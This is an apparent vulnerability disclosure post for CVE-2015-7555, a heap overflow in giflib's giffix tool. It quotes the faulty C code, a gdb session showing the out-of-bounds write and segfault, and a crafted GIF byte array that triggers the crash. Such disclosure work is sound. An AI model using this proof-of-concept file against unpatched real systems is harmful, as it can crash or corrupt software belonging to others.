Hans Jerry Illikainen

CVE-2015-7555: giflib: heap overflow in giffix

Dec 21, 2015

About

giflib[1] is a library for working with GIF images. It also provides several command-line utilities.

CVE-2015-7555

A heap overflow may occur in the giffix utility included in giflib-5.1.1 when processing records of the type IMAGE_DESC_RECORD_TYPE due to the allocated size of LineBuffer equaling the value of the logical screen width, GifFileIn->SWidth, while subsequently having GifFileIn->Image.Width bytes of data written to it.

giflib-5.1.1/util/giffix.c #35..194:

int main(int argc, char **argv)
{
    [...]
    if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)
        GIF_EXIT("Failed to allocate memory required, aborted.");

    /* Scan the content of the GIF file and load the image(s) in: */
    do {
        [...]
        switch (RecordType) {
            case IMAGE_DESC_RECORD_TYPE:
                if (DGifGetImageDesc(GifFileIn) == GIF_ERROR)
                    QuitGifError(GifFileIn, GifFileOut);
                [...]
                Width = GifFileIn->Image.Width;
                Height = GifFileIn->Image.Height;
                [...]
                /* Find the darkest color in color map to use as a filler. */
                ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap :
                                                     GifFileIn->SColorMap);
                for (i = 0; i < ColorMap->ColorCount; i++) {
                    j = ((int) ColorMap->Colors[i].Red) * 30 +
                        ((int) ColorMap->Colors[i].Green) * 59 +
                        ((int) ColorMap->Colors[i].Blue) * 11;
                    if (j < ColorIntens) {
                        ColorIntens = j;
                        DarkestColor = i;
                    }
                }

                /* Load the image, and dump it. */
                for (i = 0; i < Height; i++) {
                    GifQprintf("\b\b\b\b%-4d", i);
                    if (DGifGetLine(GifFileIn, LineBuffer, Width)
                        == GIF_ERROR) break;
                    if (EGifPutLine(GifFileOut, LineBuffer, Width)
                        == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
                }

                if (i < Height) {
                    [...]
                    /* Fill in with the darkest color in color map. */
                    for (j = 0; j < Width; j++)
                        LineBuffer[j] = DarkestColor;
                    for (; i < Height; i++)
                        if (EGifPutLine(GifFileOut, LineBuffer, Width)
                            == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut);
                }
                break;
            [...]
        }
    }
    while (RecordType != TERMINATE_RECORD_TYPE);
    [...]
}
$ gdb -q --args ./giffix heap.gif
Reading symbols from ./giffix...done.
(gdb) b util/giffix.c:94
Breakpoint 1 at 0x401131: file giffix.c, line 94.
(gdb) b util/giffix.c:148
Breakpoint 2 at 0x401449: file giffix.c, line 148.
(gdb) b util/giffix.c:149
Breakpoint 3 at 0x401452: file giffix.c, line 149.

(gdb) commands 3
Type commands for breakpoint(s) 3, one per line.
End with a line saying just "end".
>printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor
>c
>end

(gdb) r
[...]
Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94
94      if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL)

(gdb) p GifFileIn->SWidth
$1 = 1

(gdb) c
[...]
Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148
148             for (j = 0; j < Width; j++)

(gdb) p Width
$2 = 255

(gdb) c
Continuing.

Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
149             LineBuffer[j] = DarkestColor;
0x618920, 0x01

[...]

Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
149             LineBuffer[j] = DarkestColor;
0x618940, 0x01

[...]

Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149
149             LineBuffer[j] = DarkestColor;
0x618a1e, 0x01

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80
80          (void)free(Object->Colors);

heap.gif:

unsigned char heap[] = {
    /* GIF87a */
    0x47, 0x49, 0x46, 0x38, 0x37, 0x61,

    /* DGifGetScreenDesc() */
    0x01, 0x00,         /* GifFile->SWidth */
    0x01, 0x00,         /* GifFile->SHeight */
    0x80,               /* ColorCount = 1 << ((this & 0x07) + 1) */
    0x00,               /* GifFile->SBackGroundColor */
    0x00,               /* GifFile->AspectByte */
    0x11, 0x11, 0x11,   /* GifFile->SColorMap->Colors[0] */
    0x00, 0x00, 0x00,   /* GifFile->SColorMap->Colors[1] */

    /* DGifGetRecordType() */
    0x2c,               /* DESCRIPTOR_INTRODUCER */

    /* DGifGetImageDesc() */
    0x00, 0x00,         /* GifFile->Image.Left */
    0x00, 0x00,         /* GifFile->Image.Top */
    0xff, 0x00,         /* GifFile->Image.Width */
    0x01, 0x00,         /* GifFile->Image.Height */
    0x00,               /* BitsPerPixel = (this & 0x07) + 1 */

    /* DGifSetupDecompress() */
    0x00,               /* CodeSize */

    /* end of image data */
    0x00,

    /* end of gif */
    0x3b
};

Solution

No fix exists as of yet.

References

  1. http://giflib.sourceforge.net/